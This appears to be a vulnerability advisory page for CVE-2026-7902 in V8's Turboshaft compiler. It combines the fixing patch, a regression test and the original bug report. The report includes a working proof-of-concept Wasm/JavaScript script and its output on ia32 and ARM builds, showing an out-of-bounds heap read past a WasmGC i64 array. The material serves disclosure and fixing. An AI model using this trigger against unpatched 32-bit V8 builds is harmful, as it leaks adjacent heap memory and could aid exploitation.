CVE-2026-7902
Overview
Files Changed
src/compiler/turboshaft/int64-lowering-reducer.htest/mjsunit/regress/wasm/regress-502030575.js
Patch
From 7c165d90f0800b78c92fd0c13690e7b40683026a Mon Sep 17 00:00:00 2001 From: Matthias Liedtke <[email protected]> Date: Tue, 14 Apr 2026 16:31:35 +0200 Subject: [PATCH] [wasm] 32 bit platforms: Fix int64 lowering for 'invalid' offsets The logic for the case !LoadOp::OffsetIsValid() was not correct. Fixed: 502030575 Change-Id: I81692e2bb7cc15f85911c0110b84ae3a66189d53 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7758773 Auto-Submit: Matthias Liedtke <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Matthias Liedtke <[email protected]> Cr-Commit-Position: refs/heads/main@{#106481} --- diff --git a/src/compiler/turboshaft/int64-lowering-reducer.h b/src/compiler/turboshaft/int64-lowering-reducer.h index 1cad223..2eb3a97 100644 --- a/src/compiler/turboshaft/int64-lowering-reducer.h +++ b/src/compiler/turboshaft/int64-lowering-reducer.h @@ -308,10 +308,10 @@ FATAL("%s", str.str().c_str()); } - std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index, - int32_t offset, - int32_t add_offset, - bool tagged_base) { + std::pair<OptionalV<Word32>, int32_t> IncreaseOffset( + OptionalV<Word32> index, int32_t offset, int32_t add_offset, + uint8_t element_size_log2, bool tagged_base) { + uint32_t element_size = 1 << element_size_log2; // Note that the offset will just wrap around. Still, we need to always // use an offset that is not std::numeric_limits<int32_t>::min() on tagged // loads. @@ -321,13 +321,17 @@ static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset); OptionalV<Word32> new_index = index; if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) { - // We cannot encode the new offset so we use the old offset - // instead and use the Index to represent the extra offset. - new_offset = offset; + // We cannot encode the new offset because it has the one invalid value. + // We can choose any other value and the only requirement is that we end + // up at the same final location after calculating + // | index * element_size + offset + // So we'll just subtract "one element" and increase the index by one. + // We could do this for almost any arbitrary value larger than 0. + new_offset -= element_size; if (index.has_value()) { - new_index = __ Word32Add(new_index.value(), add_offset); + new_index = __ Word32Add(new_index.value(), 1); } else { - new_index = __ Word32Constant(sizeof(int32_t)); + new_index = __ Word32Constant(1); } } return {new_index, new_offset}; @@ -360,8 +364,8 @@ } if (loaded_rep == MemoryRepresentation::Int64() || loaded_rep == MemoryRepresentation::Uint64()) { - auto [high_index, high_offset] = - IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base); + auto [high_index, high_offset] = IncreaseOffset( + index, offset, sizeof(int32_t), element_scale, kind.tagged_base); return __ MakeTuple( Next::ReduceLoad(base, index, kind, MemoryRepresentation::Int32(), RegisterRepresentation::Word32(), offset, @@ -405,8 +409,8 @@ maybe_initializing_or_transitioning, maybe_indirect_pointer_tag); // high store - auto [high_index, high_offset] = - IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base); + auto [high_index, high_offset] = IncreaseOffset( + index, offset, sizeof(int32_t), element_size_log2, kind.tagged_base); Next::ReduceStore( base, high_index, high, kind, MemoryRepresentation::Int32(), write_barrier, memory_order, high_offset, element_size_log2, diff --git a/test/mjsunit/regress/wasm/regress-502030575.js b/test/mjsunit/regress/wasm/regress-502030575.js new file mode 100644 index 0000000..f0fd90b --- /dev/null +++ b/test/mjsunit/regress/wasm/regress-502030575.js @@ -0,0 +1,50 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js"); + +let builder = new WasmModuleBuilder(); +let array_type = builder.addArray(kWasmI64); + +// For 32 bit platforms: +// Choose a big constant offset, so that when adding the constant wasm array +// header offset and the extra offset for the 2nd i32 load we end up with a +// value that exactly equals INT32_MIN (which is the singular value that +// returns false for LoadOp::OffsetIsValid()). +const BIG_CONST = 0xFFFFFFE; +const WASM_ARRAY_HEADER = 12; // map + hash + array size (subject to change) +const SECOND_LOAD_OFFSET = 4 +const INT32_MIN = 1 << 31; +assertEquals( + (BIG_CONST * 8 + WASM_ARRAY_HEADER + SECOND_LOAD_OFFSET) | 0, + INT32_MIN); +let testValue = 0x1234_5678_90ab_cdefn; + +builder.addFunction("test", makeSig([kWasmI32], [kWasmI64])) + .addLocals(wasmRefNullType(array_type), 1) + .addBody([ + // Create an array with a single value + ...wasmI32Const(1), + kGCPrefix, kExprArrayNewDefault, array_type, + kExprLocalTee, 1, + // Write a value at offset 0. + kExprI32Const, 0, + ...wasmI64Const(testValue), + kGCPrefix, kExprArraySet, array_type, + // Read the value at offset 0 by having the index calculation + // (BIG_CONST - BIG_CONST). The i32.const in the code will be folded into + // the offset of the load. + kExprLocalGet, 1, + kExprLocalGet, 0, + ...wasmI32Const(BIG_CONST), + kExprI32Add, + kGCPrefix, kExprArrayGet, array_type, + ]) + .exportFunc(); + +let instance = builder.instantiate(); +let result = instance.exports.test(-BIG_CONST); +assertEquals(testValue, result);
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-502030575.js b/test/mjsunit/regress/wasm/regress-502030575.js
new file mode 100644
index 0000000..f0fd90b
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502030575.js
@@ -0,0 +1,50 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let builder = new WasmModuleBuilder();
+let array_type = builder.addArray(kWasmI64);
+
+// For 32 bit platforms:
+// Choose a big constant offset, so that when adding the constant wasm array
+// header offset and the extra offset for the 2nd i32 load we end up with a
+// value that exactly equals INT32_MIN (which is the singular value that
+// returns false for LoadOp::OffsetIsValid()).
+const BIG_CONST = 0xFFFFFFE;
+const WASM_ARRAY_HEADER = 12; // map + hash + array size (subject to change)
+const SECOND_LOAD_OFFSET = 4
+const INT32_MIN = 1 << 31;
+assertEquals(
+ (BIG_CONST * 8 + WASM_ARRAY_HEADER + SECOND_LOAD_OFFSET) | 0,
+ INT32_MIN);
+let testValue = 0x1234_5678_90ab_cdefn;
+
+builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
+ .addLocals(wasmRefNullType(array_type), 1)
+ .addBody([
+ // Create an array with a single value
+ ...wasmI32Const(1),
+ kGCPrefix, kExprArrayNewDefault, array_type,
+ kExprLocalTee, 1,
+ // Write a value at offset 0.
+ kExprI32Const, 0,
+ ...wasmI64Const(testValue),
+ kGCPrefix, kExprArraySet, array_type,
+ // Read the value at offset 0 by having the index calculation
+ // (BIG_CONST - BIG_CONST). The i32.const in the code will be folded into
+ // the offset of the load.
+ kExprLocalGet, 1,
+ kExprLocalGet, 0,
+ ...wasmI32Const(BIG_CONST),
+ kExprI32Add,
+ kGCPrefix, kExprArrayGet, array_type,
+ ])
+ .exportFunc();
+
+let instance = builder.instantiate();
+let result = instance.exports.test(-BIG_CONST);
+assertEquals(testValue, result);
Original Bug Report
V8: Incorrect Address Computation in Int64LoweringReducer via IncreaseOffset element_scale Mishandling
Summary
A bug in Turboshaft’s Int64LoweringReducer::IncreaseOffset on 32-bit platforms (ia32, ARM) causes incorrect address computation when splitting 64-bit loads into two 32-bit loads. When element_scale > 0 and the offset+4 wraps to INT32_MIN for tagged-base loads, the fallback path adds 4 to the index instead of the offset — but the element_scale is still applied to the modified index, causing the high word to be loaded from base + (index+4)*scale + offset instead of base + index*scale + offset + 4. For i64 arrays (element_scale=3), this creates a 28-byte address error (4*8 - 4 = 28), reading the high word from adjacent heap memory past the WasmGC array.
NOTE: I’m reporting this as Type:Bug because 1) I cannot change the address offset (only offset of 28 is possible), 2) load/store occurs in benign area, and 3) WASM memory is anyway guarded by guard pages.
Bug
Summary
The IncreaseOffset function in Int64LoweringReducer does not account for element_scale when falling back to adding the offset increment to the index. When MachineOptimizationReducer folds a large constant from an i32.add index computation into the Load offset (reaching INT32_MAX - 3), the subsequent IncreaseOffset(offset, 4) call for the high-word load overflows to INT32_MIN, which is invalid for tagged-base loads. The fallback adds 4 to the index, but since element_scale=3 is still applied, the high word is loaded from an address 28 bytes too far. The same bug also affects the REDUCE(Store) path (line 363-406), which uses the same IncreaseOffset function to split 64-bit stores.
Detail
The bug exists in the interaction between MachineOptimizationReducer (constant folding) and Int64LoweringReducer (64-bit to 32-bit splitting):
Step 1: WasmLoweringReducer emits Load with element_scale=3
WasmGC array.get on an i64 array is lowered to a Load with element_scale = value_kind_size_log2(i64) = 3 and offset = WasmArray::kHeaderSize = 12:
// src/compiler/turboshaft/wasm-lowering-reducer.h:358
return __ Load(array, __ ChangeInt32ToIntPtr(index), load_kind,
RepresentationFor(array_type->element_type(), is_signed),
WasmArray::kHeaderSize, // offset = 12
array_type->element_type().value_kind_size_log2()); // element_scale = 3
Step 2: MachineOptimizationReducer folds constants into the offset
// src/compiler/turboshaft/machine-optimization-reducer.h:2732-2744
} else if (const WordBinopOp* binary_op =
index_op.TryCast<WordBinopOp>()) {
if (binary_op->kind == WordBinopOp::Kind::kAdd &&
TryAdjustOffset(offset, matcher_.Get(binary_op->right()),
*element_scale, tagged_base)) {
index = binary_op->left();
continue; // element_scale is PRESERVED
}
}
When the Wasm code computes array.get(arr, param + 268435454), the constant 268435454 is folded into the offset via TryAdjustOffset (line 2646-2670), which multiplies by 1 << element_scale: offset = 12 + 268435454 * 8 = 2147483644 (which is INT32_MAX - 3). Crucially, element_scale remains 3.
TryAdjustOffset validates this new offset passes LoadOp::OffsetIsValid(2147483644, true), which checks offset >= INT32_MIN + kHeapObjectTag = INT32_MIN + 1 — this succeeds.
Step 3: Int64LoweringReducer splits the i64 load
// src/compiler/turboshaft/int64-lowering-reducer.h:347-358
if (loaded_rep == MemoryRepresentation::Int64() || ...) {
auto [high_index, high_offset] =
IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
return __ MakeTuple(
Next::ReduceLoad(base, index, kind, ..., offset, element_scale),
Next::ReduceLoad(base, high_index, kind, ..., high_offset, element_scale));
// ^^^^^^^^^^^^^ BUG
}
Step 4: IncreaseOffset triggers the fallback
// src/compiler/turboshaft/int64-lowering-reducer.h:297-320
std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
int32_t offset,
int32_t add_offset,
bool tagged_base) {
int32_t new_offset =
static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
// new_offset = 2147483644 + 4 = 2147483648 → wraps to INT32_MIN as int32_t
OptionalV<Word32> new_index = index;
if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
// INT32_MIN < INT32_MIN + 1 → invalid for tagged loads
new_offset = offset; // keep original offset
if (index.has_value()) {
new_index = __ Word32Add(new_index.value(), add_offset);
// Adds 4 to the INDEX — but element_scale=3 will be applied later!
}
}
return {new_index, new_offset};
}
IncreaseOffset is unaware of element_scale. When it adds 4 to the index, the subsequent Load applies element_scale=3, making the effective byte offset 4 * 8 = 32 instead of the intended 4.
Address computation:
- Low word (correct):
base + index*8 + 2147483644 - High word (buggy):
base + (index+4)*8 + 2147483644=base + index*8 + 32 + 2147483644 - High word (correct):
base + index*8 + 2147483644 + 4 - Error:
32 - 4 = 28 bytes
Trigger Conditions
- 32-bit platform (ia32 or ARM) —
Int64LoweringReduceronly runs on 32-bit - WasmGC i64 array —
element_scale=3andtagged_base=true - Array index computed as
Add(variable, large_constant)— enables partial constant folding (the constant is folded into the offset while the variable remains as the index withelement_scalepreserved) - Constant value of exactly
(INT32_MAX - 3 - kHeaderSize) / 8 = 268435454— produces offsetINT32_MAX - 3, so adding 4 wraps toINT32_MIN - Function compiled with Turboshaft (occurs through tier-up after ~40K calls, or immediately with
--no-liftoff)
Version
Reproduced Version
mainbranch latest commit (2026/04/13):3daaa64319f- V8 14.9.0
Bisect
The bug was introduced by the following commit, which added the IncreaseOffset function to handle offset overflow when splitting 64-bit loads:
commit e4e12c9ebff42aaf1fd6725396d132ae058fd8c6
Author: Matthias Liedtke <[email protected]>
Date: Thu Jun 13 12:45:48 2024 +0200
[wasm][turboshaft] Fix Load offset overflow in Int64Lowering
Same as https://crrev.com/c/5608453 but for the LoadOp.
The offset may be any value excluding int32 min for tagged loads.
Fixed: 346505953
Bug: 344014332
Change-Id: I716e578d1ccd659203b1c739e77b56e3cb2bd4b0
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5626025
Cr-Commit-Position: refs/heads/main@{#94430}
This commit was intended to fix a different offset overflow issue (crbug 346505953) but introduced this new bug: the IncreaseOffset fallback path does not account for element_scale when adding to the index. The existing regression test (test/mjsunit/regress/wasm/regress-346505953.js) only tests that an out-of-bounds access traps — it does not test the fallback path with a variable index and element_scale > 0.
Reproduction Case
Two versions are provided: Version 1 uses --no-liftoff for instant reproduction; Version 2 triggers through natural tier-up (no special flags).
Release Build
Version 1 (with --no-liftoff):
out/ia32.release/d8 --no-liftoff poc.js
Result (ia32 release):
BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got: 0x1
Low word: 0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end
The high word reads from offset 44 while the 1-element array ends at offset 20 (kHeaderSize + 1*8), confirming the high word is read from 24 bytes past the array allocation. The value 0x0 is whatever happened to be in adjacent heap memory.
Version 2 (natural tier-up, no flags):
out/ia32.release/d8 poc.js
Result (ia32 release):
BUG DETECTED on iteration 52252!
Expected: 0x1111111100000001
Got: 0x100000001
Low word: 0x1
High word: 0x1
High word read from offset 44 — 24 bytes past the 20-byte array end
Result (ARM release, with --no-liftoff):
BUG DETECTED on iteration 35795!
Expected: 0x1111111100000001
Got: 0x1
Low word: 0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end
On x64, the bug does NOT reproduce (Int64LoweringReducer does not run on 64-bit platforms):
out/x64.release/d8 --no-liftoff poc.js
# Output: No bug detected (function may not have tiered up to Turboshaft)
Debug Build
out/ia32.debug/d8 --no-liftoff poc.js
Result (ia32 debug):
BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got: 0x-21524110ffffffff
Low word: 0x1
High word: 0xdeadbeef
High word read from offset 44 — 24 bytes past the 20-byte array end
The leaked high word 0xdeadbeef is V8’s debug zap value for uninitialized/freed memory, confirming the read reached into adjacent uninitialized heap memory.
Note: No DCHECK fires for this bug because the inputs to IncreaseOffset are individually valid — the error is semantic (element_scale is not considered), not a simple bounds violation.
PoC Code
// PoC: Int64LoweringReducer IncreaseOffset incorrect address computation
// Affects: 32-bit platforms (ia32, ARM) when compiled with Turboshaft
// Bug: High word of i64 loaded from wrong address (28 bytes off)
//
// Run with: out/ia32.release/d8 --no-liftoff poc.js
// or: out/ia32.release/d8 poc.js (triggers via natural tier-up)
d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI64);
// This constant causes MachineOptimizationReducer to fold it into the Load offset:
// offset = kHeaderSize + BIG_CONST * 8 = 12 + 268435454*8 = 2147483644 = INT32_MAX-3
// Adding 4 for the high word wraps to INT32_MIN, triggering the IncreaseOffset bug
const BIG_CONST = 268435454;
builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
.addLocals(wasmRefNullType(array_type), 1)
.addBody([
// Create array of 1 i64 element (20 bytes total).
// Correct high word: offset 16 (within array).
// Buggy high word: offset 44 (24 bytes PAST array end).
...wasmI32Const(1),
kGCPrefix, kExprArrayNewDefault, array_type,
kExprLocalSet, 1,
// Set element 0 = 0x1111111100000001 (low=0x00000001, high=0x11111111)
kExprLocalGet, 1,
...wasmI32Const(0),
...wasmI64Const(0x1111111100000001n),
kGCPrefix, kExprArraySet, array_type,
// Read element at index (param + BIG_CONST)
// When param=-BIG_CONST, effective index=0, bounds check passes
// But high word is read from offset 44 — 24 bytes past the array end
kExprLocalGet, 1,
kExprLocalGet, 0,
...wasmI32Const(BIG_CONST),
kExprI32Add,
kGCPrefix, kExprArrayGet, array_type,
])
.exportFunc();
let instance = builder.instantiate();
let expected = 0x1111111100000001n;
let bugDetected = false;
// Call enough times to trigger tier-up to Turboshaft
for (let i = 0; i < 100000; i++) {
let result = instance.exports.test(-BIG_CONST);
if (result !== expected) {
print("BUG DETECTED on iteration " + i + "!");
print("Expected: 0x" + expected.toString(16));
print("Got: 0x" + result.toString(16));
print("Low word: 0x" + (result & 0xFFFFFFFFn).toString(16));
print("High word: 0x" + ((result >> 32n) & 0xFFFFFFFFn).toString(16));
print("High word read from offset 44 — 24 bytes past the 20-byte array end");
bugDetected = true;
break;
}
}
if (!bugDetected) {
print("No bug detected (function may not have tiered up to Turboshaft)");
}
Suggested Patch
File: src/compiler/turboshaft/int64-lowering-reducer.h
@@ -347,6 +347,13 @@
if (loaded_rep == MemoryRepresentation::Int64() ||
loaded_rep == MemoryRepresentation::Uint64()) {
+ // When element_scale > 0, fold it into the index before splitting.
+ // IncreaseOffset adds to the index on fallback, but the element_scale
+ // would still be applied, causing an incorrect address for the high word.
+ if (element_scale > 0 && index.has_value()) {
+ index = __ Word32ShiftLeft(index.value(), element_scale);
+ element_scale = 0;
+ }
auto [high_index, high_offset] =
IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
return __ MakeTuple(
The fix normalizes element_scale to 0 by folding the shift into the index before splitting the 64-bit load. This ensures IncreaseOffset’s fallback path (adding to the index) produces a correct byte-level offset of +4, regardless of whether the offset increment goes to the offset field or the index. The atomic code paths (lines 326-338) already correctly pre-fold element_scale in the same way. The same fix should be applied to the REDUCE(Store) handler (line 388-400) which has the identical bug.